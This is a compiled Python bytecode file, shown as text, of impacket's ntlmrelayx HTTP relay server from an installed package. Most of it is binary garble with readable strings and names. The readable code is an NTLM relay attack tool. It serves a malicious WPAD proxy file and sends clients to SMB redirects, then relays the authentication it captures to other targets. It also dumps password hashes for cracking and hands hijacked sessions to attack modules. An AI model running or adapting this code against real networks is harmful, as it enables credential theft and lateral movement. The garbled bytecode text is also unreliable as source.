o
    àý°j¨p  ã                   @   s¼   d dl Zd dlZd dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZmZ d dlmZmZ d dlmZmZ d dlmZmZ d dlmZ d dlmZ d d	lmZ G d
d„ de	ƒZdS )é    N)ÚThread)ÚPY2Úb)ÚntlmÚLOG)ÚoutputToJohnFormatÚwriteJohnOutputToFile)ÚSTATUS_ACCESS_DENIEDÚSTATUS_SUCCESS)ÚTargetsProcessor)ÚactiveConnections)Úget_addressc                   @   sF   e Zd ZG dd„ dejejƒZG dd„ dejj	ƒZ
dd„ Zdd„ Zd	S )
ÚHTTPRelayServerc                   @   s   e Zd Zdd„ ZdS )zHTTPRelayServer.HTTPServerc                 C   sL   || _ d| _t|d |d | j jƒ\| _}i | _dtj_tj 	| ||¡ d S )NTr   é   )
ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚwpad_countersÚsocketserverÚ	TCPServerÚallow_reuse_addressÚ__init__)ÚselfÚserver_addressÚRequestHandlerClassr   © r   ú§/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.pyr   )   s   z#HTTPRelayServer.HTTPServer.__init__N)Ú__name__Ú
__module__Ú__qualname__r   r   r   r   r   Ú
HTTPServer(   s    r!   c                   @   sÔ   e Zd Zdd„ Zdd„ Zdd„ Zd4dd	„Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zd5dd„Zd6d d!„Zd"d#„ Zd$d%„ Zd&d'„ Zd(d)„ Zd*d+„ Zd,d-„ Zd.d/„ Zd4d0d1„Zd2d3„ ZdS )7zHTTPRelayServer.HTTPHandlerc              
   C   sØ   || _ d| _d | _d | _d | _d | _d | _d | _d | _d| _	d| _
| j jjdkr;| j jjd u r;td|d  d| j j_ztj j | |||¡ W d S  tyk } ztjdd	d
 t dt|ƒ ¡ W Y d }~d S d }~ww )NzHTTP/1.1FzØfunction FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ÚREDIRECTzSMB://%s:445/r   )ÚsingleTargetú(HTTP): Exception:T©Úexc_infoú
(HTTP): %s)ÚserverÚprotocol_versionÚchallengeMessageÚtargetÚclientÚmachineAccountÚmachineHashesÚdomainIpÚauthUserÚrelayToHostÚwpadr   Úmoder   ÚhttpÚSimpleHTTPRequestHandlerr   Ú	Exceptionr   ÚdebugÚerrorÚstr)r   ÚrequestÚclient_addressr(   Úer   r   r   r   3   s*    €þz$HTTPRelayServer.HTTPHandler.__init__c              
   C   sf   z
t jj | ¡ W d S  ty   ‚  ty2 } ztjddd t d| ¡ W Y d }~d S d }~ww )Nr$   Tr%   z-(HTTP): Exception in HTTP request handler: %s)	r4   r(   r5   Úhandle_one_requestÚKeyboardInterruptr6   r   r7   r8   )r   r<   r   r   r   r=   K   s   €þz.HTTPRelayServer.HTTPHandler.handle_one_requestc                 G   s   d S ©Nr   )r   ÚformatÚargsr   r   r   Úlog_messageT   s   z'HTTPRelayServer.HTTPHandler.log_messageNc                 C   s2   |  d¡dks|  d¡r|  ¡ S tjj | ||¡S )NÚRPC_OUTr   ÚRPC_IN)ÚfindÚdo_GETr4   r(   r5   Ú
send_error)r   ÚcodeÚmessager   r   r   rG   W   s   z&HTTPRelayServer.HTTPHandler.send_errorc                 C   sF   |   d¡ |  dd¡ |  dd¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni”  úWWW-AuthenticateÚNTLMúContent-typeú	text/htmlúContent-LengthÚ0Ú
ConnectionÚclose©Úsend_responseÚsend_headerÚend_headers©r   r   r   r   Úsend_not_found\   s   
z*HTTPRelayServer.HTTPHandler.send_not_foundc                 C   sP   |   dd¡ |  dd¡ |  dtt|ƒƒ¡ |  dd¡ |  ¡  | j |¡ d S )NéÏ   zMulti-StatuszContent-Typezapplication/xmlrN   rP   rQ   )rS   rT   r9   ÚlenrU   ÚwfileÚwrite)r   Úcontentr   r   r   Úsend_multi_statusd   s   z-HTTPRelayServer.HTTPHandler.send_multi_statusc                 C   s\   | j | jjj| jjjf }|  d¡ |  dd¡ |  dt|ƒ¡ |  ¡  | j 	t
|ƒ¡ d S )NéÈ   rL   z!application/x-ns-proxy-autoconfigrN   )r2   r(   r   Ú	wpad_hostrS   rT   rY   rU   rZ   r[   r   )r   ÚwpadResponser   r   r   Ú
serve_wpadl   s   
z&HTTPRelayServer.HTTPHandler.serve_wpadc                 C   sN   z| j j| }W n ty   d}Y nw |d | j j|< || j jjkr%dS dS )Nr   r   TF)r(   r   ÚKeyErrorr   Úwpad_auth_num)r   r,   Únumr   r   r   Úshould_serve_wpadu   s   ÿz-HTTPRelayServer.HTTPHandler.should_serve_wpadc                 C   s~   t | jjjdƒ-}| ¡ }|  dd¡ |  dd¡ |  dtt|ƒƒ¡ |  	¡  | j
 |¡ W d   ƒ d S 1 s8w   Y  d S )NÚrbr^   ÚOKrL   z
image/jpegrN   )Úopenr(   r   Úserve_imageÚreadrS   rT   r9   rY   rU   rZ   r[   )r   ÚimgFileÚimgFile_datar   r   r   ri   ‚   s   "úz'HTTPRelayServer.HTTPHandler.serve_imagec           	      C   s  t r|r| j d¡}n| j d¡}n|r| j d¡}n| j d¡}|r'|d u s-|s<|d u r<| jd|d d}d }||fS |rA|}n|}z| d¡\}}t | ¡ ¡}W n t	ym   t
jddd	 | jd|d Y ||fS w t d
|tdƒtdƒd … ¡d }||fS )NzProxy-AuthorizationÚAuthorizationó   NTLM©rI   Úproxyr   rK   r$   Tr%   z<LzNTLMSSP é   )r   ÚheadersÚ	getheaderÚgetÚdo_AUTHHEADÚsplitÚbase64Ú	b64decodeÚstripr6   r   r7   ÚstructÚunpackrY   )	r   rp   ÚproxyAuthHeaderÚautorizationHeaderÚmessageTypeÚtokenÚtypeXÚ_Úblobr   r   r   Ú
strip_blob‹   s2   óú$z&HTTPRelayServer.HTTPHandler.strip_blobc                 C   s"   |   d¡ |  dd¡ |  ¡  d S )Nr^   rL   rM   rR   rV   r   r   r   Údo_HEAD«   s   
z#HTTPRelayServer.HTTPHandler.do_HEADc                 C   s:   |   d¡ |  dd¡ |  dd¡ |  dd¡ |  ¡  d S )Nr^   ÚAllowz[GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPYrN   rO   rP   rQ   rR   rV   r   r   r   Ú
do_OPTIONS°   s   
ÿz&HTTPRelayServer.HTTPHandler.do_OPTIONSc                 C   s~   t  d| j ¡  ¡ d}d| jv sd| jv rd}nd}|  |¡\}}| jdu r5| jjjs5|  	|||¡ d S |  
||||¡ d S )Nú!(HTTP): Client requested path: %sFz.jpgz.JPGso  <?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>sL  <?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>)r   ÚinfoÚpathÚlowerrƒ   r1   r(   r   ÚdisableMultiÚdo_local_authÚdo_relay)r   rp   r\   r   r~   r   r   r   Údo_PROPFIND¹   s   z'HTTPRelayServer.HTTPHandler.do_PROPFINDó    Fc                 C   sn   |r|   d¡ |  d| d¡¡ n|   d¡ |  d| d¡¡ |  dd¡ |  dd	¡ |  d
d¡ |  ¡  d S )Ni—  úProxy-Authenticatezutf-8i‘  rJ   rL   rM   rN   rO   rP   ú
keep-alive)rS   rT   ÚdecoderU   )r   rI   rp   r   r   r   ru   Í   s   

z'HTTPRelayServer.HTTPHandler.do_AUTHHEADc                 C   s€   d  dd„ tdƒD ƒ¡}|  d¡ |r|  dd¡ n|  dd¡ |  d	d
¡ |  dd¡ |  dd| ¡ |  dd¡ |  ¡  d S )NÚ c                 s   s"    | ]}t  tjtj ¡V  qd S r?   )ÚrandomÚchoiceÚstringÚascii_uppercaseÚdigits©Ú.0r   r   r   r   Ú	<genexpr>Û   s   €  z:HTTPRelayServer.HTTPHandler.do_REDIRECT.<locals>.<genexpr>é
   i3  r   rK   rJ   rL   rM   rP   r‘   ÚLocationz/%srN   rO   )ÚjoinÚrangerS   rT   rU   )r   rp   Úrstrr   r   r   Údo_REDIRECTÚ   s   
z'HTTPRelayServer.HTTPHandler.do_REDIRECTc                 C   sP   |   d¡ |  dd¡ |  dd| jjj ¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni.  rL   rM   r   z	file://%srN   rO   rP   rQ   )rS   rT   r(   r   ÚredirecthostrU   rV   r   r   r   Údo_SMBREDIRECTç   s   
z*HTTPRelayServer.HTTPHandler.do_SMBREDIRECTc                 C   s   |   ¡ S r?   )rF   rV   r   r   r   Údo_POSTï   s   z#HTTPRelayServer.HTTPHandler.do_POSTc                 C   s$   d}|   |¡\}}|  |||¡ d S ©NT)rƒ   r   ©r   rp   r   r~   r   r   r   Ú
do_CONNECTò   s   z&HTTPRelayServer.HTTPHandler.do_CONNECTc                 C   sê   | j jjdkr|  ¡  d S t d| j ¡  ¡ | j ¡ dkr;| j jjr;|  	| j
d ¡r;t d| j
d  ¡ |  ¡  d S t| jƒdkrP| jd d…  ¡ dkrPd}nd	}|  |¡\}}| jd	u rl| j jjsl|  |||¡ d S |  |||¡ d S )
Nr"   r‡   z	/wpad.datr   z%(HTTP): Serving PAC file to client %srq   r4   TF)r(   r   r3   r£   r   rˆ   r‰   rŠ   ra   re   r;   rY   rƒ   r1   r‹   rŒ   r   r¦   r   r   r   rF   û   s"   ($z"HTTPRelayServer.HTTPHandler.do_GETc                 C   sö   | j j ¡ | jjjv r]| jjj| j j ¡  | jj| j ƒ| _| j ¡ s$dS | j |¡| _	| jjj
rUt | j	d ¡}|tj= | ¡ | j	d< t| ¡ ƒ| j	d< t| ¡ ƒ| j	d< | j	du r\dS nt d| j j ¡  ¡ dS | jdt | j	 ¡ ¡ |d dS )	NFÚTargetInfoFieldsÚTargetInfoFields_lenÚTargetInfoFields_max_lenz)(HTTP): Protocol Client for %s not found!ó   NTLM ro   T)r+   ÚschemeÚupperr(   r   ÚprotocolClientsr,   ÚinitConnectionÚsendNegotiater*   Úremove_targetr   ÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMEÚgetDatarY   r   r8   ru   rw   Ú	b64encode)r   r   rp   Úav_pairsr   r   r   Údo_ntlm_negotiate  s$   $


ÿz-HTTPRelayServer.HTTPHandler.do_ntlm_negotiatec                 C   s>   |d dks| j jdkr| j |¡\}}nt}|tkrdS dS )NÚ	user_namer“   z	127.0.0.1TF)r+   Úhostnamer,   ÚsendAuthr	   r
   )r   r   ÚauthenticateMessageÚclientResponseÚ	errorCoder   r   r   Údo_ntlm_auth8  s   z(HTTPRelayServer.HTTPHandler.do_ntlm_authc                 C   s.  |dkr©t  ¡ }| |¡ d}|d t j@ r|t jO }|d t j@ r'|t jO }|d t j@ r3|t jO }|d t j@ r?|t jO }|d t j@ rK|t jO }|d t j@ rW|t jO }|t j	t j
B t jB t jB O }t  ¡ }||d< d|d< d dd„ tdƒD ƒ¡|d	< t  ¡ |d
< d|d< d|d< d|d< d|d< d|d< | jdt | ¡ ¡ |d d S |dkrt  ¡ }| |¡ | ¡ | _| jjjj| jd| _| jd u rù| jjjræ| jjjjdd | jjjj| jd| _nt d| j| j d f ¡ |  !¡  d S t d| j| j d | jj"| jj#f ¡ d| _$|  %¡  d S d S )Nr   r   Úflagsr“   Údomain_namec                 s   s    | ]	}t  tj¡V  qd S r?   )r”   r•   r–   Ú	printabler™   r   r   r   r›   ^  s   € z<HTTPRelayServer.HTTPHandler.do_local_auth.<locals>.<genexpr>é@   Ú	challenger¨   r©   rª   é8   ÚTargetInfoFields_offsets   ÿÿÿÿÿÿÿÿÚVersioné   Ú
VersionLenr«   ro   é   ©ÚidentityT©Úfull_reloadúM(HTTP): Connection from %s@%s controlled, but there are no more targets left!úB(HTTP): Connection from %s@%s controlled, attacking target %s://%s)&r   ÚNTLMAuthNegotiateÚ
fromStringÚNTLMSSP_NEGOTIATE_56ÚNTLMSSP_NEGOTIATE_128ÚNTLMSSP_NEGOTIATE_KEY_EXCHÚ*NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITYÚNTLMSSP_NEGOTIATE_UNICODEÚNTLM_NEGOTIATE_OEMÚNTLMSSP_NEGOTIATE_VERSIONÚNTLMSSP_NEGOTIATE_TARGET_INFOÚNTLMSSP_TARGET_TYPE_SERVERÚNTLMSSP_NEGOTIATE_NTLMÚNTLMAuthChallengerž   rŸ   r²   ru   rw   rµ   r´   ÚNTLMAuthChallengeResponseÚgetUserStringr0   r(   r   r+   Ú	getTargetÚkeepRelayingÚreloadTargetsr   rˆ   r;   rW   r¬   Únetlocr1   r¡   )r   r~   r   rp   ÚnegotiateMessageÚansFlagsr*   r»   r   r   r   rŒ   E  sb   






ÿÿ




&îz)HTTPRelayServer.HTTPHandler.do_local_authc           
   
   C   s|  |dkr| j jjrS| j jjjdd| _| jd u rB| j jjr2| j jjjdd | j jjjdd| _nt d| j	d  ¡ |  
¡  d S t d| j	d | jj| jjf ¡ z	| j||d	}W n$ ty€ } zt d
| jj| jjt|ƒf ¡ d}W Y d }~nd }~ww |s| j jjr¥t d| jj| jjf ¡ | j jj | j¡ |  
¡  d S t d| jj| jjf ¡ | j jjj| j| jd | j jjj| jd| _| jd u rû| j jjrè| j jjjdd | j jjj| jd| _nt d| j| j	d f ¡ |  
¡  d S t d| j| j	d | jj| jjf ¡ |  ¡  d S d S |dkr¼t ¡ }| |¡ | j jjr?| ¡ | _d| jj| j dd¡| jjf }|  ||¡sÂt d| jj| jj| jf ¡ | j jjra|  
¡  d S |d dkr¹| j jjj| j| jd | j jjj| jd| _| jd u r³| j jjr | j jjjdd | j jjj| jd| _nt d| j| j	d f ¡ |  
¡  d S |  
¡  d S | jd|d	 d S | j ¡  t d| j| j	d | jj| jj| jjf ¡ t| jd |d |d |d |d ƒ}	|	| jj d< | j jj!du rt d|	d   ¡ | j jj"d urt#|	d  |	d! | j jj"ƒ | j jj$s.| j jj | jd| j¡ |  %¡  | j jjrK| j&d"krE|  '|¡ d S |  
¡  d S | j jjj| jd| _| jd u r£| j jjrw| j jjjdd | j jjj| jd| _n,t d| j| j	d f ¡ | j&d"kr‘|  '|¡ d S | j jj(r|  (¡  d S |  
¡  d S t d| j| j	d | jj| jjf ¡ |  ¡  d S d S )#Nr   F)Ú
multiRelayTrÌ   zJ(HTTP): Connection from %s controlled, but there are no more targets left!r   z?(HTTP): Connection from %s controlled, attacking target %s://%s)rp   z;(HTTP): Exception while Negotiating NTLM with %s://%s: "%s"z,(HTTP): Negotiating NTLM with %s://%s failedzE(HTTP): Negotiating NTLM with %s://%s failed. Skipping to next target)ÚgotUsernamerÊ   rÎ   rÏ   rÉ   z
%s://%s@%sú/ú\z3(HTTP): Authenticating against %s://%s as %s FAILEDr¸   r“   rn   zI(HTTP): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]rÃ   rÀ   Úlanmanr   ÚJOHN_OUTPUTr'   Úhash_stringÚhash_versionÚPROPFIND))r(   r   r‹   r+   rß   rà   rá   r   rˆ   r;   rW   r¬   râ   r·   r6   r8   r9   ÚregisterTargetr0   r¡   r   rÝ   rÑ   rÞ   Úreplacer¾   ru   r,   ÚsetClientIdÚ	client_idr   r*   ÚsessionDataÚ
dumpHashesÚ
outputFiler   ÚisADCSAttackÚ	do_attackÚcommandr]   ri   )
r   r~   r   rp   r\   Úntlm_negotiate_responser<   r»   r+   Úntlm_hash_datar   r   r   r   }  sÈ   



" €þ


&è


 
,
ýÿ
ÿ
&£z$HTTPRelayServer.HTTPHandler.do_relayc                 C   sÀ   | j jjr*| jj ¡ | j jjjv r*t 	| jj
| jj| jj ¡ | j| j| jjf¡ d S | jj ¡ | j jjv rS| j jj| jj ¡  | j j| jj| j| j| jƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz#(HTTP): No attack configured for %s)r(   r   ÚrunSocksr+   r¬   r­   ÚsocksServerÚsupportedSchemesr   Úputr¹   r,   Ú
targetPortr0   rò   ÚattacksÚsessionÚstartr   r8   )r   ÚclientThreadr   r   r   rö     s   "ÿ ÿz%HTTPRelayServer.HTTPHandler.do_attackr?   )r   F)F)r   r   r    r   r=   rB   rG   rW   r]   ra   re   ri   rƒ   r„   r†   rŽ   ru   r¡   r£   r¤   r§   rF   r·   r¾   rŒ   r   rö   r   r   r   r   ÚHTTPHandler2   s4    	
		 	

	"
8 r  c                 C   s&   t  | ¡ d| _|| _d | _d | _d S r¥   )r   r   Údaemonr   r(   Úhttpport)r   r   r   r   r   r     s
   

zHTTPRelayServer.__init__c                 C   s|   | j jsd| j _t d| j j ¡ |  | j j| j jf| j| j ¡| _z| j ¡  W n	 t	y1   Y nw t d¡ | j 
¡  d S )NéP   z!Setting up HTTP Server on port %szShutting down HTTP Server)r   ÚlisteningPortr   rˆ   r!   ÚinterfaceIpr  r(   Úserve_foreverr>   Úserver_closerV   r   r   r   Úrun#  s    ÿ
zHTTPRelayServer.runN)r   r   r    r   ÚThreadingMixInr   r!   r4   r(   r5   r  r   r  r   r   r   r   r   &   s    
   mr   )Úhttp.serverr4   r   Úsocketrw   r”   rz   r–   Ú	threadingr   Úsixr   r   Úimpacketr   r   Úimpacket.smbserverr   r   Úimpacket.nt_errorsr	   r
   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Úimpacket.examples.utilsr   r   r   r   r   r   Ú<module>   s    